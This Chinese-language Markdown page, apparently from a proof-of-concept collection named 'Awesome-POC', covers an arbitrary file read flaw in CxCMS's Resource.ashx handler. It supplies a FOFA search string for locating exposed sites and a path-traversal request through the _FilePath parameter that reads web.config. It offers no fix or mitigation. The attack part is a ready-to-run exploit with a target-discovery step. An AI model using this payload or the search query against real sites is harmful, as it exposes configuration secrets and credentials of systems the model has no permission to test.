Awesome-POC/CMS漏洞/CxCMS Resource.ashx 任意文件读取漏洞.md

31 lines
514 B
Markdown
Raw Normal View History

2022-05-18 16:23:08 +08:00
# CxCMS Resource.ashx 任意文件读取漏洞
## 漏洞描述
CxCMS 存在任意文件读取,由于 /Sys/Handler/Resource.ashx 页面 _FilePath 参数过滤不严,导致可以读取系统敏感文件。
## 漏洞影响
```
CxCMS
```
## FOFA
```
"Powered by CxCms"
```
## 漏洞复现
关键字"Powered by CxCms"
2022-12-05 11:09:28 +08:00
![image-20220518144245685](./images/202205181442728.png)
2022-05-18 16:23:08 +08:00
验证POC
```
/Sys/Handler/Resource.ashx?_FilePath=../../web.config
```
2022-12-05 11:09:28 +08:00
![image-20220518144331101](./images/202205181443193.png)